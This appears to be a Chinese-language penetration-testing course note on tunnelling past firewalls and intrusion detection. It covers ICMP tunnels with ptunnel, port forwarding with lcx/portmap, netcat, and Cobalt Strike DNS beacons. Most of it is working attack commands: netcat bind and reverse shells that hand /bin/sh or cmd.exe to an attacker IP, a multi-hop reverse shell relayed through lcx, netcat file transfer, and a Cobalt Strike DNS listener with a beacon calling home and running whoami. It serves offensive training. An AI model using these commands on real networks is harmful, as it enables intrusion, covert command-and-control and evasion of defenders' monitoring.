必備知識點:
1.代理和隧道技術區別?
2.隧道技術為了解決什么?
3.隧道技術前期的必備條件?
在數據通信被攔截的情況下利用隧道技術封裝改變通信協議進行繞過攔截
CS、MSF無法上線,數據傳輸不穩定無回顯,出口數據被監控,網絡通信存在問題等
在實際的網絡中,通常會通過各種邊界設備、軟/硬件防火牆甚至入侵檢測系統來檢查對外連接情況,如果發現異樣,就會對通信進行阻斷。那么什么是隧道呢?這里的隧道,就是一種繞過端口屏蔽的通信方式。防火牆兩端的數據包通過防火牆所允許的數據包類型或端口進行封裝,然后穿過防火牆,與對方進行通信。當封裝的數據包到達目的地時,將數據包還原,並將還原后的數據包發送到相應服務器上。
常用的隧道技術有以下三種:
網絡層:IPv6 隧道、ICMP 隧道
傳輸層:TCP 隧道、UDP 隧道、常規端口轉發
應用層:SSH 隧道、HTTP/S 隧道、DNS 隧道
演示案例:
• 網絡傳輸應用層檢測連通性-檢測
• 網絡層ICMP隧道Ptunnel使用-檢測,利用
• 傳輸層轉發隧道Portmap使用-檢測,利用
• 傳輸層轉發隧道Netcat使用-檢測,利用,功能
• 應用層DNS隧道配合CS上線-檢測,利用,說明
案例1-網絡傳輸應用層檢測連通性-檢測
- TCP 協議
用“瑞士軍刀”——netcat
執行 nc 命令:nc<端口> - HTTP 協議
用“curl”工具,執行curl <IP地址:端口>命令。如果遠程主機開啟了相應的端口,且內網可連接外網的話,就會輸出相應的端口信息 - ICMP 協議
用“ping”命令,執行ping <IP地址/域名> - DNS 協議
檢測DNS連通性常用的命令是“nslookup”和“dig”
nslookup 是windows自帶的DNS探測命令
dig是linux系統自帶的DNS探測命令
案例2-網絡層ICMP隧道ptunnel使用-檢測,利用
kali2020-Target2-Target3
pingtunnel是把tcp/udp/sock5流量偽裝成icmp流量進行轉發的工具
-p ##表示連接icmp隧道另一端的機器IP(即目標服務器)
-lp ##表示需要監聽的本地tcp端口
-da ##指定需要轉發的機器的IP(即目標內網某一機器的內網IP)
-dp ##指定需要轉發的機器的端口(即目標內網某一機器的內網端口)
-x ##設置連接的密碼
Webserver:./ptunnel -x xiaodi
Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #轉發的3389請求數據給本地1080
Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介紹:https://github.com/f1vefour/ptunnel(需自行編譯)
新版本介紹:https://github.com/esrrhs/pingtunnel(二次開發版)
案例3-傳輸層轉發隧道Portmap使用-檢測,利用
windows: lcx
linux:portmap
lcx -slave 攻擊IP 3131 127.0.0.1 3389 //將本地3389給攻擊IP的3131
lcx -listen 3131 3333 //監聽3131轉發至3333
案例4-傳輸層轉發隧道Netcat使用-檢測,利用,功能
Kali2020-god\webserver-god\sqlserver|dc
1.雙向連接反彈shell
正向:攻擊連接受害
受害:nc -ldp 1234 -e /bin/sh //linux
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻擊:nc 192.168.76.132 1234 //主動連接
反向:受害連接攻擊
攻擊:nc -lvp 1234
受害:nc 攻擊主機IP 1234 -e /bin/sh
nc 攻擊主機IP 1234 -e c:\windows\system32\cmd.exe
2.多向連接反彈shell-配合轉發
反向:
god\Webserver:Lcx.exe -listen 2222 3333
god\Sqlserver:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali或本機:nc -v 192.168.76.143 3333
正向該怎么操作呢?實戰中改怎么選擇正向和反向?
3.相關netcat主要功能測試
指紋服務:nc -nv 192.168.76.143
端口掃描:nc -v -z 192.168.76.143 1-100
端口監聽:nc -lvp xxxx
文件傳輸:nc -lp 1111 >1.txt | nc -vn xx.xx.x.x 1111 <1.txt -q 1
反彈Shell:見上
案例5-應用層DNS隧道配合CS上線-檢測,利用,說明
當常見協議監聽器被攔截時,可以換其他協議上線,其中dns協議上線基本通殺
1.雲主機Teamserver配置端口53啟用-udp
2.買一個域名修改解析記錄如下:
A記錄->cs主機名->CS服務器IP
NS記錄->ns1主機名->上個A記錄地址
NS記錄->ns2主機名->上個A記錄地址
3.配置DNS監聽器內容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
4.生成后門執行上線后啟用命令:
beacon> checkin
[] Tasked beacon to checkin
beacon> mode dns-txt
[+] data channel set to DNS-TXT
[+] host called home, sent: 8 bytes
beacon> shell whoami
[] Tasked beacon to run: whoami
[+] host called home, sent: 53 bytes
[+] received output:
xiaodi-pc\xiaodi
